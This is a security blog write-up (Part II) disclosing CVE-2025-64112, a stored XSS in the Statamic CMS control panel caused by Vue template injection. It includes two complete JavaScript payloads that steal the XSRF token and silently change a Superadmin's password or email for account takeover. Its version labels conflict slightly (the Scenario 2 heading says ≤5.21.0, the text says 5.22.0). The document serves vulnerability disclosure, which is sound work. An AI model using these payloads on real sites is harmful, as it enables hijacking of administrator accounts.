When Vue Forgets to Escape: From a Missing v-pre to Superadmin Takeover (Part II) - CVE-2025-64112
web
Aug 25, 20252 min read

When Vue Forgets to Escape: From a Missing v-pre to Superadmin Takeover (Part II) - CVE-2025-64112

Part II of the CVE-2025-64112 writeup: weaponizing a stored XSS in the Statamic control panel into full Superadmin takeover. Admin-editable fields are rendered by Vue without v-pre or output encoding, so a {{constructor.constructor(...)}} payload executes JavaScript in a Superadmin's session. Two proof-of-concept chains are shown — a silent password change on versions ≤5.21.0, and an email swap on 5.22.0 (after password changes were hardened) to hijack the account via password reset.

Wojtek
Wojtek
Offensive Security Engineer

TL;DR

📜NOTEPart II of the CVE-2025-64112 writeup

Weaponizing a stored XSS in the Statamic control panel into full Superadmin takeover. Admin-editable fields are rendered by Vue without v-pre or output encoding, so a {{constructor.constructor(...)}} payload executes JavaScript in a Superadmin’s session. Two proof-of-concept chains are shown — a silent password change on versions ≤5.21.0, and an email swap on 5.22.0 (after password changes were hardened) to hijack the account via password reset.

A stored XSS vector (payload: {{this.constructor.constructor('alert(document.cookie)')()}}) in admin-editable fields - caused by no input sanitization / no output encoding and missing Vue v-pre protections - was chained into a privilege-escalation path that yields complete Superadmin account takeover. This is a high-impact, realistic attack path: stored JS can be executed in an admin’s browser and used to perform sensitive actions (modify accounts, change emails/passwords, create admin users, or abuse admin-only APIs).

PoC

Scenario 1: Superadmin Password Change (Version ≤ 5.21.0)
In versions prior to the latest update, the CMS’s password change mechanism did not require the current password. This allows an attacker to execute a stored XSS payload that automatically changes the Superadmin’s password. The attack can be triggered by the Superadmin merely visiting a compromised Collection or Taxonomy or clicking on a malicious link.

Exploit Code:

{{constructor.constructor("(function(){function getXsrfToken(){var token=decodeURIComponent(document.cookie.match(/XSRF-TOKEN=([^;]+)/)[1]);return token.endsWith('%3D')?token.replace(/%3D$/, '='):token;}var req=new XMLHttpRequest();req.onload=function(){var changeReq=new XMLHttpRequest();changeReq.open('PATCH','http://0.0.0.0/cp/users/<Superadmin's UUID>/password',true);changeReq.setRequestHeader('Content-Type','application/json');changeReq.setRequestHeader('X-Requested-With','XMLHttpRequest');changeReq.setRequestHeader('X-XSRF-TOKEN',getXsrfToken());changeReq.send(JSON.stringify({current_password:null,password:'987654321',password_confirmation:'987654321'}));};req.open('GET','/cp/users/<Superadmin's UUID>/edit',true);req.send();})()")()}}

Scenario 2: Superadmin Email Address Change (Version ≤ 5.21.0)
In the latest version (5.22.0), the password change mechanism was hardened by requiring the current password. However, the stored XSS vulnerability still allows an attacker to change the email address associated with the Superadmin account. By altering the email address, the attacker can initiate a password reset process, gaining control over the account.

Exploit Code:

{{constructor.constructor("(function(){function getXsrfToken(){var token=decodeURIComponent(document.cookie.match(/XSRF-TOKEN=([^;]+)/)[1]);return token.endsWith('%3D')?token.replace(/%3D$/, '='):token;}var req=new XMLHttpRequest();req.onload=function(){var changeReq=new XMLHttpRequest();changeReq.open('PATCH','http://0.0.0.0/cp/users/<Superadmin's UUID>',true);changeReq.setRequestHeader('Content-Type','application/json');changeReq.setRequestHeader('X-Requested-With','XMLHttpRequest');changeReq.setRequestHeader('X-XSRF-TOKEN',getXsrfToken());changeReq.send(JSON.stringify({name:'wojt',email:'wojtek@wojtek.com',roles:[],groups:[],id:'9f4d7960-bf66-4af4-8c30-b09eb24e06ea'}));};req.open('GET','/cp/users/<Superadmin's UUID>/edit',true);req.send();})()")()}}
Wojtek
Written by

Wojtek

Offensive Security Engineer

Frontend engineer and creative developer fascinated by the craft of building blazingly fast web apps, liquid glass design systems, and resilient software architectures.